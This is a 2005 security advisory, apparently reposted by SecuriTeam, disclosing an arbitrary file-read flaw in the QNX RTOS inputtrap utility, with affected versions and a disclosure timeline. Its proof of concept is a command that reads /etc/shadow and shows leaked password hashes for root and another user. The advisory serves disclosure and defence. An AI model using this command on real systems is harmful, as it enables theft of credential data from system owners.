[NEWS] QNX RTOS inputtrap Arbitrary File Reading

From: SecuriTeam (support_at_securiteam.com)
Date: 09/19/05

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Date: 19 Sep 2005 10:39:03 +0200

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      QNX RTOS inputtrap Arbitrary File Reading
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.qnx.com/> QNX Neutrino realtime operating system (RTOS) sets
    the industry standard for reliability, fault tolerance, and scalability."

    "inputtrap - Detect input devices and start the input manager."

    Lack of proper permission checking allows local attackers to retrieve
    information from files used by inputtrap.

    DETAILS

    Vulnerable Systems:
     * QNX RTOS version 6.3
     * QNX RTOS version 6.1.0

    Due to improper permissions checking, inputtrap allows administrative
    access to files anywhere in the disk.

    Proof of Concept:
    $ inputtrap -t /etc/shadow start
    options: Unable to lookup root:21QjUKxP9gEJK:0:0:0 in modules table
    options: Unable to lookup sandimas:91UzHxvt3x1n2:0:0:0 in modules table

    Disclosure Timeline:
    22 Feb 2005: Vulnerability detected
    09 Jun 2005: Advisory sent to QNX;
    10 Jun 2005: QNX contacted rfdslabs;
    24 Aug 2005: Advisory sent to security mailing lists.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:julio@rfdslabs.com.br> Julio
    Cesar Fort.
    The original article can be found at:
    <http://www.rfdslabs.com.br/advisories/qnx-advs-01-2005.txt>
    http://www.rfdslabs.com.br/advisories/qnx-advs-01-2005.txt

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